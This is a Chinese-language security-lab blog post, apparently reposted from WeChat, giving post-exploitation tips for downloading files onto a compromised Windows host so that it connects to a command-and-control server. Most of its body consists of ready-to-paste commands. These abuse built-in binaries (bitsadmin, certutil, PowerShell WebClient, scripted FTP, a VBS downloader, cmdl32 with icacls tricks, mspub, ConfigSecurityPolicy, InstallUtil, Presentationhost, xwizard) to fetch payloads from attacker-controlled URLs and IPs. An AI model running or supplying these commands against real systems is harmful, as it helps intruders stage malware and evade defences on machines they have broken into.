后渗透之windows中远程下载文件tips
2023-4-14 17:1:48 Author: 雷石安全实验室(查看原文) 阅读量:9 收藏
{
点击蓝色
 
关注我们
}

我们在渗透过程中，当获取到一个shell能够执行命令的同时，想要上线c2，就要先将文件传输到目标，并用到一些命令行中的下载命令如BITSAdmin、Certutil、 powershell、HH等。

本文将列举一部分文件落地的下载方式。无文件落地在本篇范围内。

Bitsadmin

BITSAdmin 是一个命令行工具，可用于创建下载或上传作业并监视作业的进度。

文件路径：
C:\Windos\System32\Bitsadmin.exe

支持系统：

WindowsServer 2022、WindowsServer 2019、Windows Server 2016、Windows Server 2012、Windows 10、Windows7

用法：

bitsadmin /transfer myDownLoadJob /download /priority normal "http://url/a.ps1" "c:\b.ps1"bitsadmin /rawreturn /transfer getfile http://url/s.zip c:\s1.zipbitsadmin /rawreturn /transfer getpayload http://url/c.zip c:\c1.zip

Certutil

certutil是Windows自带的证书管理工具，具有下载文件，校验文件MD5、SHA1、SHA256，文件base64编码等功能。

文件路径：

C:\Windows\System32\Certutil.exe

支持系统： windows

用法：

#保存文件并指定新文件名certutil.exe -urlcache -split -f http://url/1.txt file.jsp注：使用下载，会在工具缓存目录产生缓存文件
#缓存路径C:\Users\xq\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
#查看缓存项目：certutil.exe -urlcache *

powershell

自win7/win 2008开始，win系统增加了powershell工具。
PowerShell是一种命令行外壳程序和脚本环境

文件路径：
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

支持系统： win7/win2008 =<

用法：

powershell (new-objectNet.WebClient).DownloadFile('http://url/aa.ps1','c:\bb.ps1')

FTP

将文件传输到运行文件传输协议的计算机 (ftp) 服务器服务。可以通过处理 ASCII 文本文件以交互方式或在批处理模式下使用此命令。

文件路径：

支持系统： windows

用法：

cmd无交互

echo open 192.168.225.79>ftp.txtecho user>>ftp.txtecho pass>>ftp.txtecho get /sd.exe>>ftp.txtecho quit>>ftp.txt
@ftp -s:ftp.txtVBS脚本

cscript

在windows中还支持一种VBS后缀脚本语言，可看作VB语言的简化版
文件路径：
C:\Windows\System32

支持系统： windows

用法：
cmd无交互

echo Set Post = CreateObject("Msxml2.XMLHTTP") >> download.vbsecho Set Shell = CreateObject("Wscript.Shell") >> download.vbsecho Post.Open "GET","http://192.168.203.140/a.ps1",0 >> download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >> download.vbsecho aGet.Mode = 3 >> download.vbsecho aGet.Type = 1 >> download.vbsecho aGet.Open() >> download.vbsecho aGet.Write(Post.responseBody) >> download.vbsecho aGet.SaveToFile "D:/a.ps1",2 >> download.vbs
#执行cscript downfile.vbs

省略······
除了上述这些经典的方法，我还总结了一些tips

cmdl32

Microsoft 连接管理器自动下载。

文件路径：

  • C:\Windows\System32\cmdl32.exe

  • C:\Windows\SysWOW64\cmdl32.exe

支持系统： 

WindowsVista、Windows7、Windows8、Windows8.1、Windows10、Windows11

从配置文件中指定的网址下载文件。下载的文件将位于名称 VPNXXXX.tmp 下的 %TMP% 中

用法：
创建文本 1.txt

[Connection Manager]CMSFile=1.txtServiceName=WindowsUpdateTunnelFile=1.txt[Settings]UpdateUrl=http://192.168.3.114:81/test.txt
#赋予权限，设置缓存位置，并下载icacls %cd% /deny %Username%:(OI)(CI)(DE,DC)set tmp=%cd%cmdl32 /vpn /lan %cd%\1.txt
#删除权限，否则无法操作文件icacls %cd% /remove:d %username%

Mspub.exe

mspub.exe是属于Microsoft Publisher产品的主要流程，允许制作商业和个人时事通讯和出版物。包含在office套件中。
文件路径：
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exe

支持系统：

Windows 10、Windows 11

该命令将下载远程文件并放入缓存文件夹

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

用法：

该方法依赖offce套件，执行后将会打开publisher应用窗口。

从远程服务器下载负载

mspub.exe https://example.com/aaaa

ConfigSecurityPolicy.exe

Defender文件，用于管理Windows Defender中的设置。

文件路径：

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

支持系统： Windows 10、Windows 11

用法：

该命令将下载远程文件并放入缓存文件夹 win10:

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

ConfigSecurityPolicy.exe https://example.com/aaaa

Installutil

是一个命令行实用程序，允许通过在指定程序集中执行安装程序组件来安装和卸载。此工具与System.Configuration.Install命名空间中的类一起工作。
文件路径：

C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe

支持系统：

Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

用法：

该命令将下载远程文件并放入缓存文件夹

win10:

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE）

win7:

%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
InstallUtil.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Presentationhost.exe

它使 WPF 应用程序可承载于兼容的浏览器,用于运行XAML浏览器应用程序 .
文件路径：

  • C:\Windows\System32\Presentationhost.exe

  • C:\Windows\SysWOW64\Presentationhost.exe

支持系统：
Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

用法：

该方法是调用IE浏览器下载，会弹出ie窗口及文件保存窗口，此时无需保存，文件已存在缓存目录内

该命令将下载远程文件并放入缓存文件夹win10:

%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

win7:

%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
Presentationhost.exe https://www.baidu.com/img/flexible/logo/pc/result.png

Xwizard.exe

执行已添加到注册表的自定义类或使用Xwizard.exe下载

文件路径：

  • C:\Windows\System32\xwizard.exe

  • C:\Windows\SysWOW64\xwizard.exe

支持系统：

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

用法：

使用该方法时，会弹出错误警告窗口。但文件已经存入ie缓存目录

Xwizard.exe使用RemoteApp和桌面连接向导下载文件，并将其保存到

%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>

或 

%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z https://www.baidu.com/img/flexible/logo/pc/result.png

这里只总结了一小部分方法，除此之外还有很多能够用来远程下载文件的系统应用。

欢迎一起交流想法，

下期文章你想看什么？留言告诉我们！！

往期回顾

01
网络安全运营工作浅谈（二）
02

脱壳学习（二）- 反“反调试”篇

03

脱壳学习（一）- 计算机底层基础

雷石安全实验室

商务咨询：

0571-87031601

商务邮箱：

[email protected]

觉得文章不错，记得【点赞、在看、 转发】！！！

文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247521148&idx=1&sn=9a543804a822a7ac2fa080dea370817f&chksm=ec26b2e4db513bf232fbb8291d1588a76541f8b1da3075d01cd7fea14e0f450111169df4e398#rd
如有侵权请联系:admin#unsafe.sh